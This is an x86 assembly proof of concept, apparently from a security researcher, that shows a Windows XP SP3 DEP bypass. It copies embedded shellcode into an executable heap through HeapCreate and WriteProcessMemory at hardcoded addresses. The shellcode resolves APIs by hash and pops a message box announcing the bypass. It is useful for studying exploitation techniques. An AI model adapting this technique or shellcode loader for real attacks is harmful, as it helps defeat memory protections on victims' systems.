;Brian Mariani High-Tech Bridge ;HANDLE WINAPI HeapCreate( ; __in DWORD flOptions, ; __in SIZE_T dwInitialSize, ; __in SIZE_T dwMaximumSize ; BOOL WINAPI WriteProcessMemory( ; __in HANDLE hProcess, ; __in LPVOID lpBaseAddress, ; __in LPCVOID lpBuffer, ; __in SIZE_T nSize, ; __out SIZE_T *lpNumberOfBytesWritten section .text global _WinMain@16 _WinMain@16: push 0x128 ; dwMaximumSize push 0x0 ; dwInitialSize push 0x00040000 ; flOptions mov eax,0x7C812C56 ; HeapCreate Windows XP SP3 call eax push eax mov esi,shellcode ; esi points to shellcode mov edi,written ; edi points to be written push edi ; PUSH lpNumberOfBytesWritten push 0x128 ; PUSH Size push esi ; PUSH lpBuffer push eax ; PUSH lpBaseAddress push 0xffffffff ; PUSH hProcess mov eax,0x7C802213 ; WriteProcessMemory Windows XP SP3 call eax ret [section .data] shellcode db 0x90,0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b,0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24,0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c,0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2,0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f,0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52,0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33,0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x88,0x5c,0x24,0x0a,0x89,0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c,0x24,0x52,0xe8,0x61,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67,0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3,0x68,0x3a,0x5d,0x58,0x20,0x68,0x65,0x64,0x21,0x20,0x68,0x70,0x61,0x73,0x73,0x68,0x6e,0x20,0x62,0x79,0x68,0x75,0x74,0x69,0x6f,0x68,0x45,0x78,0x65,0x63,0x68,0x69,0x6f,0x6e,0x20,0x68,0x76,0x65,0x6e,0x74,0x68,0x20,0x50,0x72,0x65,0x68,0x44,0x61,0x74,0x61,0x31,0xc9,0x88,0x4c,0x24,0x26,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,0x55,0x08 written db 0x00